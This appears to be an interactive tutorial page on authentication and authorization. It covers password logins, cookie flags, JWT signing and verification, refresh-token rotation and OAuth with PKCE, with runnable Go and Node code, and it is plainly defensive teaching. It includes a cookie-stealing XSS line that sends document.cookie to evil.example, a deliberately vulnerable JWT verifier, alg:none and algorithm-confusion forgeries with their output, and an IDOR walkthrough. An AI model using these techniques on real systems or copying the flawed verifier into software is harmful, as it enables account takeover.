Skip to content
Software Atlas

AuthN vs AuthZ

Who are you, and what may you do? Password logins, sessions and cookie flags, JWTs and how they break, OAuth 2.0 and OpenID Connect by flow, passkeys, and authorization models — with runnable Go and Node code and attacks you can try safely in the browser.

⏱ ~60 min read14 sections12 interactive widgetsGo · JavaScript
FoundationsPractitionerStaff-level
Foundations§01

The 30-second version

In one sentenceAuthentication proves who you are. Authorization decides what you may do — to this specific thing. Passing the first says nothing about the second.

Here's a real-world bug, simplified. An invoicing app has a login page and an API. You log in as Ada and open your invoice at /invoices/inv_1001. Out of curiosity you change the address to inv_1002… and see Bob's invoice, for $990.

The login worked perfectly. The server knew exactly who you were. It just never asked whether Ada may look at Bob's invoice. Try it:

Change one number in the URL
You're Ada (user u_1). Your invoices are inv_1001 and inv_1004. Step through the IDs and send each request.
GET /invoices/inv_1001
What the server checked
Press Send.
Response
—
Other people's invoices you've seen: none yet

Two questions, two status codes

Every request to a protected API has to answer both questions, in this order:

QuestionFails when…HTTP answer
AuthN — who are you?No credentials, or bad/expired ones401 Unauthorized (the name is old; it really means unauthenticated)
AuthZ — may you do this to this object?You're known, but it's not allowed403 Forbidden — or 404 Not Found, if even admitting the object exists would leak something

That "to this object" part is where the money is. The invoice bug has a name: BOLA, broken object-level authorization (older name: IDOR, insecure direct object reference). It is #1 on the OWASP API Security Top 10 (a nonprofit's list of the most common API flaws) (both the 2019 and 2023 editions), because a login check feels like "security done".

What this page covers

  1. Proving who you are (§02–§03): a password login in Go and Node, then sessions and the cookie flags that protect them.
  2. Tokens (§04–§06): what a JWT is, how to verify one without getting fooled, and why you can't easily cancel one.
  3. Logging in with someone else's account (§07–§08): OAuth 2.0 and OpenID Connect, one flow at a time.
  4. Stronger proof (§09): MFA and passkeys.
  5. Deciding what's allowed (§10): roles, attributes, relationships — and where the check goes in your code.
  6. Production (§11–§12): brute force, password resets, gateways, service identity, and a gallery of real mistakes.
Foundations§02

A password login, end to end

In one sentenceA login is two jobs: check the password once, then remember the answer by giving the browser a random ticket it sends back on every request.

The web's protocol, HTTP, is stateless: each request arrives on its own, and the server doesn't automatically remember the previous one. So after Ada proves who she is, the server has to give her something to carry — the hotel key card. Step through it first, then we'll read the real code:

A password login, step by step
One login request, then one later request. Use ◀ ▶ or autoplay.
Code
1func login(w http.ResponseWriter, r *http.Request) {
2 email, password := r.FormValue("email"), r.FormValue("password")
3 u, found := users[email] // look up the account
4 hash := u.Hash
5 if !found {
6 hash = dummyHash // same slow work for unknown emails
7 }
8 err := bcrypt.CompareHashAndPassword(hash, []byte(password))
9 if err != nil || !found {
10 http.Error(w, "wrong email or password", 401)
11 return
12 }
13 id := rand.Text() // 128 random bits
14 sessions[id] = session{u.ID, time.Now().Add(8 * time.Hour)}
15 http.SetCookie(w, &http.Cookie{Name: "__Host-sid", Value: id /* + flags, §03 */})
16 w.WriteHeader(204)
17}
18
19func me(w http.ResponseWriter, r *http.Request) {
20 c, err := r.Cookie("__Host-sid") // the browser sent it back
21 if err != nil { http.Error(w, "not logged in", 401); return }
22 s, ok := sessions[c.Value] // whose session is this?
23 if !ok || time.Now().After(s.Expires) { http.Error(w, "not logged in", 401); return }
24 fmt.Fprintln(w, "hello,", s.UserID)
25}
BrowserAda
POST /login
email=ada@example.com
password=correct horse
Serveryour Go/Node app
empty
Users tableemail → hash
empty
Session storeID → user
empty
Ada submits the login form. The browser sends a POST with the email and password in the body — over HTTPS, so nobody on the network can read it.
1 / 8

Three things in that flow matter more than the rest:

  1. The password is checked against a hash. The database stores a slow, salted password hash (bcrypt in Go, scrypt in Node — both fine). How those work is Crypto Basics' job; here we only call compare.
  2. The ticket is random. A session ID must come from a secure random generator. If it were user_1, or a counter, anyone could type someone else's.
  3. The server keeps the meaning. The cookie carries only the random ID. Who it belongs to lives in the server's session store, so the browser can't edit "who am I".

The whole server

Here's a complete, runnable login server. It has two routes: POST /login and GET /me ("who am I?").

main.go
package main

import (
	"crypto/rand"
	"log"
	"net/http"
	"sync"
	"time"

	"golang.org/x/crypto/bcrypt"
)

type user struct {
	ID   string
	Hash []byte // bcrypt hash of the password, never the password itself
}

type session struct {
	UserID  string
	Expires time.Time
}

var (
	users = map[string]user{} // email → user (a real app uses a database)

	mu       sync.Mutex
	sessions = map[string]session{} // session ID → whose session it is
)

// A hash of a random password, compared when the email is unknown so that
// "no such user" takes as long as "wrong password" (more in §11).
var dummyHash, _ = bcrypt.GenerateFromPassword([]byte(rand.Text()), bcrypt.DefaultCost)

func login(w http.ResponseWriter, r *http.Request) {
	email, password := r.FormValue("email"), r.FormValue("password")

	u, found := users[email]
	hash := u.Hash
	if !found {
		hash = dummyHash
	}
	// ① AuthN: does the password match the stored hash?
	if err := bcrypt.CompareHashAndPassword(hash, []byte(password)); err != nil || !found {
		http.Error(w, "wrong email or password", http.StatusUnauthorized) // same message either way
		return
	}

	// ② Remember the result: a random, unguessable session ID.
	id := rand.Text() // Go 1.24+: 26 random characters (128 bits) from crypto/rand
	mu.Lock()
	sessions[id] = session{UserID: u.ID, Expires: time.Now().Add(8 * time.Hour)}
	mu.Unlock()

	// ③ Hand the browser its "key card".
	http.SetCookie(w, &http.Cookie{
		Name:     "__Host-sid",
		Value:    id,
		Path:     "/",
		MaxAge:   8 * 60 * 60, // seconds
		HttpOnly: true,
		Secure:   true,
		SameSite: http.SameSiteLaxMode,
	})
	w.WriteHeader(http.StatusNoContent) // 204: success, no body
}

func me(w http.ResponseWriter, r *http.Request) {
	c, err := r.Cookie("__Host-sid")
	if err != nil {
		http.Error(w, "not logged in", http.StatusUnauthorized)
		return
	}
	mu.Lock()
	s, ok := sessions[c.Value]
	mu.Unlock()
	if !ok || time.Now().After(s.Expires) {
		http.Error(w, "not logged in", http.StatusUnauthorized)
		return
	}
	w.Write([]byte("hello, " + s.UserID + "\n"))
}

func main() {
	h, _ := bcrypt.GenerateFromPassword([]byte("correct horse"), bcrypt.DefaultCost)
	users["ada@example.com"] = user{ID: "u_1", Hash: h}

	http.HandleFunc("POST /login", login) // Go 1.22+: method in the pattern
	http.HandleFunc("GET /me", me)
	log.Fatal(http.ListenAndServe("localhost:8080", nil))
}

Try it with curl

Start either server and log in with curl. -i prints the response headers; -c jar.txt saves cookies to a file and -b jar.txt sends them back, like a browser would. Real output from the Go server:

$ curl -i -X POST localhost:8080/login -d email=ada@example.com -d password=wrong
HTTP/1.1 401 Unauthorized
Content-Type: text/plain; charset=utf-8
X-Content-Type-Options: nosniff
Content-Length: 24

wrong email or password

$ curl -i -X POST localhost:8080/login -d email=ada@example.com -d 'password=correct horse' -c jar.txt
HTTP/1.1 204 No Content
Set-Cookie: __Host-sid=ODABI2O7QY3CLGI3G5T3X446EQ; Path=/; Max-Age=28800; HttpOnly; Secure; SameSite=Lax

$ curl -i localhost:8080/me -b jar.txt
HTTP/1.1 200 OK
Content-Type: text/plain; charset=utf-8

hello, u_1

$ curl -i localhost:8080/me
HTTP/1.1 401 Unauthorized

not logged in

(Date headers trimmed. curl sends a Secure cookie to plain http://localhost because it treats localhost as a trusted, local address; recent Chrome and Firefox versions do the same. On any other host, Secure means HTTPS only.)

What's still missing

This server proves who Ada is, but it would fail in production in a few ways the next sections fix:

  • The cookie flags (HttpOnly, Secure, SameSite, __Host-) were copied without explanation — §03 says what each one blocks.
  • Sessions live in one process's memory: a restart logs everyone out, and a second server can't see them — §03 moves them to Redis.
  • Nothing stops a bot from guessing passwords all day — §11.
Practitioner§03

Sessions and cookie flags

In one sentenceA session cookie is a key card. Its flags decide who can read it, where it travels, and how long it works. The server decides whether it still opens anything.

In §02 the server stored sessions in a Go map. That works on a laptop and fails in production twice over: restarting the process logs everyone out, and with two servers behind a Load balancer, a login on server A is unknown to server B. So the session store moves out of the process.

A shared session store: Redis

Redis is an in-memory key–value server: a fast, shared map every app server can reach. It can also delete a key by itself after a timeout (a TTL), which is exactly what a session needs.

store.go
import (
	"context"
	"crypto/rand"
	"errors"
	"time"

	"github.com/redis/go-redis/v9"
)

type Store struct{ rdb *redis.Client }

const ttl = 8 * time.Hour

// Create stores userID under a fresh random ID that Redis deletes after ttl.
func (s Store) Create(ctx context.Context, userID string) (string, error) {
	id := rand.Text()
	return id, s.rdb.Set(ctx, "sess:"+id, userID, ttl).Err()
}

// Lookup returns the user for a session ID, or "" if it doesn't exist (or expired).
func (s Store) Lookup(ctx context.Context, id string) (string, error) {
	userID, err := s.rdb.Get(ctx, "sess:"+id).Result()
	if errors.Is(err, redis.Nil) { // redis.Nil = "no such key"
		return "", nil
	}
	return userID, err
}

// Delete is logout: the cookie may live on, but it now points at nothing.
func (s Store) Delete(ctx context.Context, id string) error {
	return s.rdb.Del(ctx, "sess:"+id).Err()
}

Run against a local Redis, Create then Lookup gives "u_1", Redis reports a TTL of 8h0m0s (28800 seconds in Node), and after Delete the lookup returns "" (null in Node). That last line is the big advantage of sessions over the tokens in §04: logging someone out is one delete, and it works instantly on every server.

The cookie flags, one by one

The cookie in §02 looked like this:

Set-Cookie: __Host-sid=ODABI2O7QY3CLGI3G5T3X446EQ; Path=/; Max-Age=28800; HttpOnly; Secure; SameSite=Lax

Every part after the value is an instruction to the browser:

FlagTells the browserStops
HttpOnlyDon't show this cookie to JavaScript (document.cookie)An injected script (XSS, see OWASP Top 10) reading the session ID and sending it away
SecureOnly send it over HTTPSSomeone on the network reading it from a plain-HTTP request
SameSite=LaxDon't attach it to requests other sites start, except normal link clicksMost CSRF: another site making the browser send a logged-in POST
Max-Age=28800Delete it after 8 hoursA cookie living for months on a shared computer
Path=/Send it for every path on this hostNothing, really — Path is for organisation, not security
__Host- prefixOnly accept it if Secure, Path=/ and no DomainA sibling subdomain planting or overwriting it

Don't take the table's word for it — toggle each flag and watch the six scenarios:

Cookie flag lab
Turn flags on and off. Each card is something that can happen to Ada's session cookie; see which flags stop it.
SameSite
Path
Max-Age
Set-Cookie: sid=ODABI2O7…; Path=/; Max-Age=31536000; SameSite=Lax
💉 Injected script steals the cookie✕ attack works
A comment field let an attacker add <script>. It runs fetch("https://evil.example/?c=" + document.cookie) in Ada's browser.
document.cookie includes the session ID. The attacker now has Ada's key card and can use it from anywhere.
📡 Someone on café Wi-Fi reads traffic✕ attack works
Ada types http://shop.example (no s). Before the redirect to HTTPS, that first request crosses the network in plain text.
The cookie rides along on the plain-HTTP request; anyone on the network can copy it.
🎣 Another site posts a form to you✓ blocked
Ada visits evil.example, which silently submits <form method=POST action=https://shop.example/transfer>.
SameSite=Lax: a POST started by another site goes out without the cookie, so the server sees a logged-out request.
🔗 Ada clicks a link to you from email✓ works
Not an attack — a normal top-level GET to https://shop.example/orders from another site. Is she still logged in when she lands?
SameSite=Lax sends the cookie on top-level link clicks, so Ada lands logged in.
🧪 A sibling subdomain plants a cookie✕ attack works
An old, hacked blog.shop.example sets sid=KNOWN_TO_ATTACKER; Domain=shop.example, so it overrides or sits beside the real one (it sets up the fixation attack below).
Without the prefix, any subdomain can set a cookie for the parent domain with the same name. The server may read the attacker's value.
💻 Shared computer, three weeks later✕ attack works
Ada logged in on a library PC and never logged out. The next person opens the browser.
Max-Age of a year: the next person at the PC is Ada for months, unless the server expires sessions itself.
2 of 6 handled well. Try to get all six green (one is a trade-off).

Session fixation: why login must issue a new ID

There's one attack the flags alone don't stop. Instead of stealing Ada's session ID, the attacker gives her one they already know, then waits for her to log in with it. This is session fixation:

Session fixation
The attacker doesn't steal Ada's session — they give her one they already know.
😈 Attacker's browser
sid = KNOWN123
🙂 Ada's browser
sid = —
Session store
KNOWN123 → anonymous
1/5The attacker visits the shop. Like most sites, it hands every visitor a session (for the cart) before login.

The fix is one rule: whenever the privilege level changes — login, logout, switching to admin, a password change — throw away the old session ID and issue a new one. In code:

session.go
// Call after the password check succeeds.
func startSession(w http.ResponseWriter, r *http.Request, store Store, userID string) error {
	if old, err := r.Cookie("__Host-sid"); err == nil {
		store.Delete(r.Context(), old.Value) // ← forget any ID from before login
	}
	id, err := store.Create(r.Context(), userID) // ← always a brand-new ID
	if err != nil {
		return err
	}
	http.SetCookie(w, &http.Cookie{Name: "__Host-sid", Value: id, Path: "/", MaxAge: 8 * 60 * 60,
		HttpOnly: true, Secure: true, SameSite: http.SameSiteLaxMode})
	return nil
}

func logout(w http.ResponseWriter, r *http.Request, store Store) {
	if c, err := r.Cookie("__Host-sid"); err == nil {
		store.Delete(r.Context(), c.Value) // ① server side: the ID now opens nothing
	}
	http.SetCookie(w, &http.Cookie{Name: "__Host-sid", Value: "", Path: "/", MaxAge: -1, // ② browser side
		HttpOnly: true, Secure: true, SameSite: http.SameSiteLaxMode})
	w.WriteHeader(http.StatusNoContent)
}

MaxAge: -1 in Go means "delete now"; it's written to the header as Max-Age=0:

Set-Cookie: __Host-sid=; Path=/; Max-Age=0; HttpOnly; Secure; SameSite=Lax
Practitioner§04

JWTs: a signed note

In one sentenceA JWT is a note that says who you are, with a seal on it. Anyone can read the note; nobody can change a word without breaking the seal.

A session ID (§02–§03) is a meaningless number: the server must look it up to learn who you are. A JWT (JSON Web Token, said "jot") flips that around. The token itself carries the facts — "this is user u_1, valid until 01:33" — plus a signature proving the auth server wrote them. Any server that can check the signature can trust the facts without asking anyone.

Three parts, two dots

A JWT is three base64url strings joined by dots: header.payload.signature. Base64url is just a way to write bytes as URL-safe text; decoding it needs no key. Here's a real one, made and checked in your browser:

JWT decoder
A real HS256 token, signed and checked in your browser with WebCrypto. Edit the payload and watch the signature.
The tokenheader . payload . signature
This page never sends the token anywhere. Still: don't paste production tokens into websites — anyone holding one is that user until it expires.
Headerbase64url-decoded
— not valid base64url JSON —
Payload (claims)anyone can read this
— not valid base64url JSON —
Tamper:
Re-sign it with key(the server's secret is dev-only-secret-at-least-32-bytes-long!! — pretend you don't know it)
Signature can't be checked here (the server recomputes HMAC-SHA256(secret, header + "." + payload) and compares it with the third part)
  • Header — how the token was signed: {"alg":"HS256","typ":"JWT"}. alg is the signing algorithm.
  • Payload — the facts, called claims.
  • Signature — computed over header + "." + payload with a key. Change one character of either, and the signature no longer matches.

The registered claim names are deliberately short:

ClaimMeansExample
subSubject: who this is about"u_1"
issIssuer: who made the token"https://auth.example.com"
audAudience: who should accept it"invoices-api"
expExpires at (Unix seconds)1793381633
nbfNot before: not valid until1793380733
iatIssued at1793380733
jtiJWT ID: a unique ID for this token"9f1c…"

Anything else (role, tenant, scope) is your own claim. The times are Unix timestamps: seconds since 1 Jan 1970 UTC.

Signing: one shared secret, or a key pair

There are two families of alg, and the choice decides who can make tokens:

HS256 (HMAC)RS256 / ES256 / EdDSA (signatures)
KeyOne shared SecretA private key + a public key (public-key crypto)
Who can create tokensEveryone who has the secretOnly the holder of the private key
Who can verifyEveryone who has the secretAnyone with the public key
Use whenOne service issues and checks its own tokensAn auth server issues, many services verify

The row to stare at is the second one. With HS256, every service that can check a token can also forge one, because it's the same secret (HMAC — Crypto Basics explains it). Give that secret to ten microservices and a leak from any one of them lets an attacker mint admin tokens. With a Digital signature scheme, the auth server keeps the private key; the ten services only get the public key, which can verify but not sign.

EdDSA (Ed25519) is the modern pick: short keys, short signatures, fast, and hard to misuse. RS256 is the most widely supported (every provider and library). Both are fine.

Issuing and verifying, in code

Go uses github.com/golang-jwt/jwt/v5; Node uses jose (v6), which also runs in browsers, Deno and edge runtimes.

jwt.go
import (
	"time"

	"github.com/golang-jwt/jwt/v5"
)

var secret = []byte("dev-only-secret-at-least-32-bytes-long!!") // real apps: load from a secrets manager

func issue(userID, role string) (string, error) {
	claims := jwt.MapClaims{
		"sub":  userID,                                  // who
		"role": role,                                    // your own claim
		"iss":  "https://auth.example.com",              // who issued it
		"aud":  "invoices-api",                          // who it's for
		"iat":  time.Now().Unix(),                       // issued at
		"exp":  time.Now().Add(15 * time.Minute).Unix(), // expires
	}
	return jwt.NewWithClaims(jwt.SigningMethodHS256, claims).SignedString(secret)
}

func verify(tokenString string) (jwt.MapClaims, error) {
	tok, err := jwt.Parse(tokenString,
		func(t *jwt.Token) (any, error) { return secret, nil }, // which key to check with
		jwt.WithValidMethods([]string{"HS256"}),              // ← never let the token pick
		jwt.WithIssuer("https://auth.example.com"),
		jwt.WithAudience("invoices-api"),
		jwt.WithExpirationRequired(),
		jwt.WithLeeway(30*time.Second), // tolerate small clock differences
	)
	if err != nil {
		return nil, err
	}
	return tok.Claims.(jwt.MapClaims), nil
}

Real output (Go; jose's header is just {"alg":"HS256"} with no typ, and its claims come in a different order, so the Node token looks different but checks the same way):

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdWQiOiJpbnZvaWNlcy1hcGkiLCJleHAiOjE3OTMzODE2MzMsImlhdCI6MTc5MzM4MDczMywiaXNzIjoiaHR0cHM6Ly9hdXRoLmV4YW1wbGUuY29tIiwicm9sZSI6InVzZXIiLCJzdWIiOiJ1XzEifQ.G5DSXh33bPhKLyKhUMvj2UCumE0yk-YoisJ192hrodo
u_1 user <nil>

With a key pair: EdDSA and a key ID

Switching to signatures changes two lines: sign with the private key, verify with the public one. Add a kid (key ID) header so verifiers know which key to use when you rotate keys:

pub, priv, _ := ed25519.GenerateKey(rand.Reader) // the auth server keeps priv secret

tok := jwt.NewWithClaims(jwt.SigningMethodEdDSA, jwt.MapClaims{
	"sub": "u_1", "exp": time.Now().Add(15 * time.Minute).Unix(),
})
tok.Header["kid"] = "2026-10" // which key signed this
signed, err := tok.SignedString(priv)
if err != nil {
	return err
}

// Any service holding only the PUBLIC key can verify:
parsed, err := jwt.Parse(signed, func(t *jwt.Token) (any, error) { return pub, nil },
	jwt.WithValidMethods([]string{"EdDSA"}))
fmt.Println(parsed.Claims.(jwt.MapClaims)["sub"], err) // u_1 <nil>

How do the services get the public key? The auth server publishes its current keys as a JWKS (JSON Web Key Set) at a well-known URL. Verifiers download it, cache it, and pick the key whose kid matches the token. Real Ed25519 public key, as a JWK:

{ "kty": "OKP", "crv": "Ed25519", "x": "aadiOpddY9l5jk57-bkI4dmH2RnbNxTs3-uEkmvZW0w", "kid": "2026-10" }

§08 uses exactly this to verify Google-style ID tokens.

Sending a JWT

APIs expect it in the Authorization header as a bearer token:

GET /invoices/inv_1001 HTTP/1.1
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdWQiOi…

"Bearer" means whoever holds it, gets in — like cash. There's no extra proof that the sender is the person it was issued to. So a JWT in a log file, a URL, or a browser's localStorage (readable by any injected script) is a stolen identity until it expires. That's why the next two sections are about verifying tokens carefully and keeping their lifetime short.

Practitioner§05

Verifying a JWT without getting fooled

In one sentenceThe token is the attacker's input. You decide the algorithm, the key, the issuer and the audience — the token only gets to agree.

Every field in a JWT, including the header that says how to check it, was typed by whoever sent it. A verifier that lets the token steer its own verification can be talked into anything. Pick an attack and watch four verifiers deal with it:

JWT attack lab
Pick a token the attacker sends. See what four different verifiers do with it.
Attack: Header changed to {"alg":"none"}. The token ends with a dot and nothing after it.
Decode only
jose.decodeJwt(t) / jwt.ParseUnverified
✕ ACCEPTED
Decoded fine — decoding never looks at alg.
right on 2/7 tokens
Hand-rolled, trusts header alg
if (alg === 'none') … else hmac(key)…
✕ ACCEPTED
The code has a branch for alg “none” that skips the check, as the spec once allowed. Admin.
right on 3/7 tokens
Library, no claim options
jwtVerify(t, key) / jwt.Parse(t, keyfunc)
✓ rejected
Modern libraries refuse none unless you opt in with an “unsafe” flag.
right on 5/7 tokens
Library, strict
pinned alg + iss + aud + exp + 30 s leeway
✓ rejected
alg not in the allow-list [RS256].
right on 7/7 tokens

Only the strict verifier gets all seven right. The other three each fail in a way that has shipped in real products.

Bug 1: decoding instead of verifying

Every JWT library has a "just decode it" function, because it's useful for debugging. Used in a request handler, it's a full authentication bypass: the server reads "role": "admin" from a token anyone can write.

// ✕ VULNERABLE: ParseUnverified does exactly what its name says.
func roleOfLeaky(raw string) any {
	tok, _, err := jwt.NewParser().ParseUnverified(raw, jwt.MapClaims{})
	if err != nil {
		return nil
	}
	return tok.Claims.(jwt.MapClaims)["role"] // attacker-controlled
}

// ✓ FIXED: verify first (verify() from §04), then read claims.
func roleOf(raw string) (any, error) {
	claims, err := verify(raw)
	if err != nil {
		return nil, err // the handler answers 401
	}
	return claims["role"], nil
}

Real output of editing the role and keeping the old signature (the "role → admin" button in §04):

decodeJwt:  admin                       ← accepted the forgery
jwtVerify:  ERR_JWS_SIGNATURE_VERIFICATION_FAILED signature verification failed
jwt.Parse:  token signature is invalid: signature is invalid

Bug 2: letting the token choose the algorithm

The JWT standard lists alg: "none" — an unsecured token with an empty signature — and lets the header name any algorithm. A verifier written as "read alg, then check that way" can be beaten twice. Here's the kind of hand-written verifier that appears in tutorials. Don't use it — it's here to be attacked:

naive-verify.mjs (VULNERABLE)
// ✕ VULNERABLE: the token decides how it is checked.
function verifyNaive(token, key) {
  const [h, p, s] = token.split(".");
  const { alg } = unb64(h);
  if (alg === "none") return unb64(p);                        // ← attack 1
  if (alg === "HS256") {
    const mac = createHmac("sha256", key).update(`${h}.${p}`).digest("base64url");
    if (mac === s) return unb64(p);                           // ← attack 2
  }
  if (alg === "RS256") {
    if (createVerify("RSA-SHA256").update(`${h}.${p}`).verify(key, s, "base64url")) return unb64(p);
  }
  throw new Error("bad token");
}
  1. alg: none. The attacker writes {"alg":"none"}, any payload, and an empty signature. The first if returns the payload unchecked.
  2. Algorithm confusion. This server uses RS256, so key is its RSA public key — which, being public, the attacker has too. The attacker sets alg: "HS256" and HMACs the forged token using the public key's text as the secret — the key in PEM form, which is just text. The verifier, told "HS256", runs HMAC with key… the same public key. Signatures match.

Real output, attacking it with a fresh RSA key pair, then attacking jose with the algorithm pinned:

naive none:     { sub: 'u_666', role: 'admin' }
naive confused: { sub: 'u_666', role: 'admin' }
jose:           ERR_JOSE_ALG_NOT_ALLOWED "alg" (Algorithm) Header Parameter value not allowed
jose:           ERR_JOSE_ALG_NOT_ALLOWED "alg" (Algorithm) Header Parameter value not allowed

The fix is an allow-list you write: algorithms: ["RS256"] in jose, jwt.WithValidMethods([]string{"RS256"}) in Go. The verifier then rejects any other alg before looking at the signature.

Bug 3: checking the signature but not the claims

A valid signature only says "our auth server wrote this". It doesn't say "…for us" or "…recently". Each claim check closes a different hole:

CheckWithout it
exp required, and in the futureA token from a 2-year-old log file still works. Make it required: a token with no exp never expires.
nbf not in the futureA token minted for later works now.
iss = your auth serverIf you trust several issuers (prod and staging, two tenants), a token from the wrong one gets in.
aud includes this serviceA token for billing-api works on invoices-api. One compromised service's tokens unlock all the others.
typ (or a claim naming the kind of token)If one issuer mints several kinds of JWT — ID tokens, access tokens, refresh JWTs — one kind gets accepted where another is expected. aud catches most of this, not all; RFC 8725 (JWT best practices) recommends explicit typing such as typ: at+jwt.
Signature key chosen by youSome headers (jku, x5u) contain a URL to "fetch the key from". Never follow them; use your configured JWKS URL, and only use kid to choose among keys you already trust.

The checklist

📌
1. Pin the algorithmAn allow-list in your code: ["RS256"] or ["EdDSA"]. Never none.
🔑
2. Choose the key yourselfFrom your config or your issuer's JWKS, picked by kid. Never from a URL in the token.
⏰
3. exp (required), nbfExpired or not-yet-valid → 401. Small leeway for clock skew.
🏷️
4. iss, aud (and typ)Issued by who you expect, addressed to you — and the kind of token you expect, if the issuer makes several.
🔍
5. Use a librarygolang-jwt, jose, or your framework's wrapper. Read its options; turn on the claim checks.
🚪
6. Then authorizeA valid token says who. role, scope, tenant are inputs to the AuthZ check (§10), not a replacement for it.
Practitioner§06

Revocation, refresh tokens, and sessions vs JWTs

In one sentenceYou can't take back a JWT once it's handed out. So make it expire fast, and hand out new ones through a refresh token the server can cancel.

A JWT's big selling point — any server can check it without a lookup — is also its big weakness. Nothing is looked up, so there's nothing to delete. If Ada logs out, changes her password, or gets fired, every JWT she already holds keeps working until its exp. With a session (§03), the same events are one DEL in Redis.

There are three ways out, and real systems mix them:

  1. Short lifetimes. An access token that lives 5–15 minutes limits the damage window to 5–15 minutes.
  2. A denylist. Give each token a jti and keep a list of cancelled ones. It works, but every API must check that list on every request — the shared lookup JWTs were supposed to avoid. It's fine as an emergency brake (a small Redis set, holding each ID only until its exp).
  3. Refresh tokens, below — the standard answer.

Two tokens with two jobs

Access tokenRefresh token
LifetimeMinutes (5–15)Days (7–30), often sliding
Sent toEvery API callOnly the auth server's /token endpoint
FormatOften a JWT — checked without a lookupA random string, stored (hashed) in the auth server's database
Can be revoked?No (wait it out)Yes: delete the row

The app uses the access token until it expires, then quietly trades the refresh token for a new one. Because that trade goes through the auth server, the auth server gets a say every 15 minutes: a cancelled login stops working at the next refresh at the latest.

Fifteen-minute access tokens, refreshed in the background
access
AT1 (15 min)
AT2
AT3 · still valid
401 → log in
refresh
RT1
RT2
RT3
revoked at logout
events
↻
↻
logout
Each refresh is a checkpoint where the server can say no. After logout at 40 min, the current access token still works until 45 min — the price of not looking anything up.

Rotation and reuse detection

A refresh token is powerful and long-lived, so it's the thing attackers want. Two defenses make a stolen one much less useful:

  • Rotation: every refresh returns a new refresh token, and the old one is marked used.
  • Reuse detection: if a used token ever shows up again, two parties have copies — the real app and a thief. The server can't tell which is which, so it cancels the whole family (every token descended from that login), and both must log in again.

Play both sides:

Refresh tokens: rotation and reuse detection
Access tokens last 15 min; refresh tokens get new access tokens. Steal one and see what the server can do about it.
🙂 Ada's app
AT valid 15 more min
refresh token: RT1
Auth servert = 0 min
RT1 · active
😈 Attacker
— none —
refresh token: —
Ada logs in: access token AT (valid 15 min) + refresh token RT1 (valid 30 days).
Try: steal → attacker refreshes → Ada's app refreshes. Then switch to “one long-lived RT” and do the same.

Here's the server side. Note that the database stores a hash of each refresh token, like a password: a leaked table doesn't hand out working tokens.

refresh.go
type refreshRecord struct {
	UserID  string
	Family  string // every token descended from one login shares this
	Used    bool
	Expires time.Time
}

var (
	mu              sync.Mutex
	refreshTokens   = map[string]*refreshRecord{} // sha256(token) → record (a DB table in production)
	revokedFamilies = map[string]bool{}
)

func hashToken(t string) string {
	sum := sha256.Sum256([]byte(t))
	return hex.EncodeToString(sum[:])
}

func newRefresh(userID, family string) string {
	t := rand.Text()
	refreshTokens[hashToken(t)] = &refreshRecord{UserID: userID, Family: family,
		Expires: time.Now().Add(30 * 24 * time.Hour)}
	return t
}

// Refresh trades a refresh token for a new access token AND a new refresh token.
func Refresh(old string) (access, next string, err error) {
	mu.Lock()
	defer mu.Unlock()

	rec, ok := refreshTokens[hashToken(old)]
	if !ok || time.Now().After(rec.Expires) || revokedFamilies[rec.Family] {
		return "", "", errors.New("log in again")
	}
	if rec.Used { // ← already traded in once: someone else has a copy
		revokedFamilies[rec.Family] = true // cancel every token from this login
		return "", "", errors.New("refresh token reused: log in again")
	}
	rec.Used = true
	access, err = issue(rec.UserID, "user") // the 15-minute JWT from §04
	if err != nil {
		return "", "", err
	}
	return access, newRefresh(rec.UserID, rec.Family), nil
}

Running both versions: the user's refresh succeeds; replaying the original (stolen) token gives refresh token reused: log in again; and the user's newest token then also gives log in again, because its family was revoked.

Sessions vs JWTs, honestly

Server-side sessionJWT access token (+ refresh)
Logout / ban takes effectImmediatelyAt next refresh (minutes) — or a denylist
Each request needsA store lookup (~0.2–1 ms on Redis, same data centre — approximate)A signature check, no network
Many services, many companiesEvery service needs the storeEach verifies with a public key
Size on every request~30-byte cookieHundreds of bytes to a few KB
Easy to get wrongCookie flags (§03)Validation (§05), storage, revocation

For a browser app talking to its own backend, a session cookie is usually the simpler, safer choice. JWTs shine when different services or organisations must trust one issuer: microservices behind a gateway, third-party APIs, mobile apps, OAuth (§07). Many systems use both: a session cookie between the browser and its backend, JWTs from there on.

Practitioner§07

OAuth 2.0 by flow: authorization code + PKCE

In one sentenceOAuth 2.0 lets one app act on your behalf at another service — with a limited, revocable token instead of your password. It's about delegation, not about logging in.

Before OAuth, if a photo-printing site wanted your pictures from a photo-hosting site, it asked for your photo-site password. Then it could do everything you could — delete albums, change your email — forever, and the only way to stop it was to change your password. OAuth replaces that with a token that can do one thing, for a while, and can be cancelled on its own.

Four roles

RoleIn our exampleTerm
The user who owns the dataAda"resource owner"
The app that wants accessPrintMyPics at printer.exampleclient
The service that logs Ada in and hands out tokensauth.photos.exampleauthorization server
The API that holds the photosapi.photos.exampleresource server

The client must be registered with the authorization server beforehand. It gets a client_id, an exact list of allowed redirect URIs, and — if it runs on a server where it can keep one — a client secret. When it asks for access, it names scopes — named permissions such as photos.read — and the user approves exactly those.

The authorization code flow, with PKCE

This is the flow to use for web apps, mobile apps and single-page apps alike. Step through it; the left panel shows the real HTTP messages:

Authorization code + PKCE
PrintMyPics wants to read Ada's photos at PhotoCloud, without her PhotoCloud password.
Code
1# ① printer.example → browser: "go ask PhotoCloud"
2302 Location: https://auth.photos.example/authorize?
3 response_type=code
4 &client_id=printer-app
5 &redirect_uri=https://printer.example/callback
6 &scope=photos.read
7 &state=af0ifjsldkj
8 &code_challenge=E9Melhoa2OwvFrEMTJguCHaoeK1t8URWbuGJSstw-cM
9 &code_challenge_method=S256
10
11# ② Ada logs in AT PhotoCloud and clicks "Allow"
12
13# ③ PhotoCloud → browser → printer.example
14302 Location: https://printer.example/callback?
15 code=SplxlOBeZQQYbYS6WxSbIA&state=af0ifjsldkj
16
17# ④ printer.example → PhotoCloud, server to server
18POST https://auth.photos.example/token
19 grant_type=authorization_code
20 &code=SplxlOBeZQQYbYS6WxSbIA
21 &redirect_uri=https://printer.example/callback
22 &client_id=printer-app
23 &code_verifier=dBjftJeZ4CVP-mB92K27uhbUJU1p1r_wW1gFWFOEjXk
24
25200 {"access_token":"eyJ…","token_type":"Bearer","expires_in":900,
26 "refresh_token":"8xLOxBtZp8","scope":"photos.read"}
27
28# ⑤ printer.example → PhotoCloud API
29GET https://api.photos.example/albums
30 Authorization: Bearer eyJ…
BrowserAda
